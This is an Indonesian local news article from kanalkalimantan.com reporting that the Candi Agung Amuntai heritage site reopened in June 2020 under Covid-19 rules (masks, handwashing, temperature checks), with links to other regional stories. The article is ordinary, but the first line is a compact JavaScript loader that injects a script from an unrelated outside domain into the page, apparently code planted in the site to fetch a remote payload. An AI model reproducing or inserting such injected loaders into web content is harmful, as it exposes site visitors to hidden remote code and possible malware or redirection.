(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, AMUNTAI – Setelah hampir tiga bulan ditutup karena pandemi Covid-19, kawasan objek wisata Candi Agung Amuntai kembali dibuka. Sejumlah wisatawan pun nampak kembali berkunjung ke lokasi bersejarah itu.
Meski dibuka, namun penerapan protokol kesehatan covid-19 para pengunjung harus dipatuhi. Hal ini tampak ketika sejumlah pengunjung diwajibkan menjalani screening suhu tubuh oleh Tim Gugus Tugas Pencegahan dan Penanggulangan (GTPP) Covid-19 HSU di depan pintu masuk.
Pengelolaan UPT Candi Agung Amuntai H.Subeli, kepada kanalkalimanta.com, menuturkan baru pada Kamis (4/6/2020) kawasan Candi agung Amuntai dibuka. Dengan dibukanya objek wisata ini, ia menambahkan pihaknya selaku pengelola tidak terlepas dari penekanan kepada para pengunjung untuk mematuhi protokol kesehatan Covid-19.
Dalam penerapannya pihak pengelola juga mengharuskan kepada para pengunjung saat memasuki pintu masuk harus pakai masker, mencuci tangan pakai sabun yang telah disediakan, dan juga menjalani pemeriksaan suhu tubuh oleh petugas kesehatan.
” Apabila di antara pengunjung didapati suhu tubuhnya 38 derajat maka disarankan untuk tidak masuk dulu dan istirahat di luar beberapa saat untuk kemudian diperiksakan kembali. Apabila sudah turun dari 38 derajat maka pengunjung tersebut dapat dibolehkan masuk,” Lanjut Subeli.
Selain itu, menurut Subeli didalam area Candi Agung sendiri para pengunjung tetap diawasi oleh Tim gugus tugas covid-19 seperti anggota TNI,Satpol PP, Dishub dan Pramuka yang memberikan teguran bagi para pengunjung yang tidak memakai masker. “Tim juga memberikan arahan untuk tetap menjaga jarak satu dengan yang lainnya,” imbuhnya.
Subeli mengakui dibandingkan dengan bulan-bulan sebelum terjadinya virus corona.kini jumlah pengunjung jauh mengalami penurunan hampir lebih dari 50 persen. “Dengan mulai dibukanya kembali objek wisata Candi Agung ini diharapkan wisatawan dari berbagai daerah bisa kembali ke Amuntai,” katanya.
Dari pantauan kanalkalimantan.com, selain dari wilayah HSU sendiri juga tampak pengunjung dari daerah lain seperti Banjarmasin, Banjarbaru, Barito Kuala, Hulu Sungai Selatan, dan Tabalong. Menurut salah satu pengunjung asal Batola, Rahmadi, senang dapat kembali berkunjung ke Candi Agung Amuntai.
Ia menyetujui atas penerapan protokol kesehatan covid-19 yang diberlakukan oleh pengelola objek wisata candi agung amuntai. “Karena ini demi menjaga keamanan dan keselamatan kita bersama sehingga kita selama didalam area candi agung ini tidak terlalu merasa was-was umtuk meliat-liat disekitar candi ini,” katanya. (kanalkalimantan.com/dew)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.